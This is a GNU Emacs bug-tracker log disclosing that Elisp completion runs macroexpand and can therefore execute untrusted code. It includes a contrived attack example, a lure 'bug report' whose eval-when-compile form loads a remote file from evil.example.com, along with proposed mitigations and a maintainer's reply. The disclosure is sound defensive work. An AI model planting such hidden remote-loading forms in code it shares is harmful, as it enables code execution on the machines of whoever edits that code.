GNU bug report logs - #32495
26.1; Arbitrary code execution when completing inside untrusted elisp code

Previous Next

Package: emacs;

Reported by: Wilfred Hughes <me <at> wilfred.me.uk>

Date: Wed, 22 Aug 2018 00:13:02 UTC

Severity: normal

Tags: security

Found in version 26.1

To reply to this bug, email your comments to 32495 AT debbugs.gnu.org.

Toggle the display of automated, internal messages from the tracker.

View this report as an mbox folder, status mbox, maintainer mbox


Report forwarded to bug-gnu-emacs <at> gnu.org:
bug#32495; Package emacs. (Wed, 22 Aug 2018 00:13:02 GMT) Full text and rfc822 format available.

Acknowledgement sent to Wilfred Hughes <me <at> wilfred.me.uk>:
New bug report received and forwarded. Copy sent to bug-gnu-emacs <at> gnu.org. (Wed, 22 Aug 2018 00:13:02 GMT) Full text and rfc822 format available.

Message #5 received at submit <at> debbugs.gnu.org (full text, mbox):

From: Wilfred Hughes <me <at> wilfred.me.uk>
To: bug-gnu-emacs <at> gnu.org
Subject: 26.1;
 Arbitrary code execution when completing inside untrusted elisp code
Date: Wed, 22 Aug 2018 01:11:55 +0100
elisp-completion-at-point calls macroexpand, which may execute arbitrary code.

REPRODUCING

1. Insert this code in a buffer in emacs-lisp-mode.

(let ((foo (eval-when-compile (debug))))
  x)

2. Put point on x.

3. Press C-M-i, or M-x elisp-completion-at-point.

4. Observe that the debugger is opened, because code is being executed!

SEVERITY

I don't know whether Emacs considers calling code-completion on
untrusted code to be a concern or not. A contrived example might look
like a bug report containing the following:

(let ((foo (eval-when-compile (eval "/ftp:evil.example.com:exploit.el")))
      ;; ... lots of code
      (bar 1))
  ;; Dear maintainer, I've found a bug in your completion. Please try
  ;; completion in the following:
  abc
  )

This could also cause accidental issues, as I might edit code that has
some unwanted side-effects inside eval-when-compile blocks. However,
this functionality has existed since 2013 (added in commit
bbcc4d97447a by Stefan) and no-one has noticed so far.

WORKAROUNDS

When calling macroexpand or macroexpand-all, either:

1. pass in an environment with all untrusted macros replaced with dummies:


(let ((macro-whitelist '(when pcase))
      all-macros
      safe-env)
  (mapatoms
   (lambda (sym)
     (when (macrop sym)
       (push sym all-macros))))
  (mapc
   (lambda (sym)
     (unless (memq sym macro-whitelist)
       (push (cons sym (symbol-function 'ignore))
             safe-env)))
   all-macros)

  (macroexpand-all
   arbitrary-form-here
   safe-env))

2. bind all eval-capable functions first (INCOMPLETE, there are other
eval-capable functions, such as load):

(cl-letf (((symbol-function 'eval) #'ignore)
          ((symbol-function 'eval-region) #'ignore)
          ((symbol-function 'eval-buffer) #'ignore)
          ((symbol-function 'backtrace-eval) #'ignore))
  (macroexpand-all some-arbitrary-form-here))




Added tag(s) security. Request was from Glenn Morris <rgm <at> gnu.org> to control <at> debbugs.gnu.org. (Wed, 22 Aug 2018 02:08:01 GMT) Full text and rfc822 format available.

Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#32495; Package emacs. (Thu, 23 Aug 2018 18:55:01 GMT) Full text and rfc822 format available.

Message #10 received at 32495 <at> debbugs.gnu.org (full text, mbox):

From: Stefan Monnier <monnier <at> iro.umontreal.ca>
To: Wilfred Hughes <me <at> wilfred.me.uk>
Cc: 32495 <at> debbugs.gnu.org
Subject: Re: bug#32495: 26.1;
 Arbitrary code execution when completing inside untrusted elisp code
Date: Thu, 23 Aug 2018 14:54:31 -0400
> 1. pass in an environment with all untrusted macros replaced with dummies:

Sounds like a good first step.

We could even start with a blacklist rather than a whitelist
(eval-when-compile, eval-and-compile, cl-eval-when, ...), so the point
would be to protect oneself from accidental problems rather than from
malign adversaries.

> 2. bind all eval-capable functions first (INCOMPLETE, there are other
> eval-capable functions, such as load):

Trying to plug each and every hole sounds like a losing game
(e.g. you can implement `eval` by building a `(lambda () ,exp) and then
causing it to be called one way or another).

Ideally, we'd have some way to confine Elisp code to a sandbox of some
sort (e.g. no access to any I/O and all changes to global vars are ignored).


        Stefan




This bug report was last modified 6 years and 240 days ago.

Previous Next


GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson.